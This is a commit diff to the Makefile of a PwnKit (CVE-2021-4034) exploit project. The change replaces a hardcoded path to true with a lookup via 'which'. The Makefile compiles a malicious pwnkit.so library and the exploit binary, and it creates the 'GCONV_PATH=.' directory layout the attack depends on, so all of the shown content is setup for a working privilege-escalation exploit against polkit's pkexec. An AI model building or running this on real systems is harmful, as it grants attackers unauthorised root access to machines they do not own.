Using which instead of persist (close #1)

This commit is contained in:
Dwi Siswanto 2022-01-26 09:35:14 +07:00 committed by GitHub
parent 1ce69aed71
commit 75bcfe56e8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,4 +1,5 @@
CFLAGS=-Wall CFLAGS=-Wall
TRUE=$(shell which true)
.PHONY: all .PHONY: all
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
@ -13,7 +14,7 @@ gconv-modules:
.PHONY: gconvpath .PHONY: gconvpath
gconvpath: gconvpath:
mkdir -p GCONV_PATH=. mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:. cp $(TRUE) GCONV_PATH=./pwnkit.so:.
pwnkit.so: pwnkit.c pwnkit.so: pwnkit.c
$(CC) $(CFLAGS) --shared -fPIC -o $@ $< $(CC) $(CFLAGS) --shared -fPIC -o $@ $<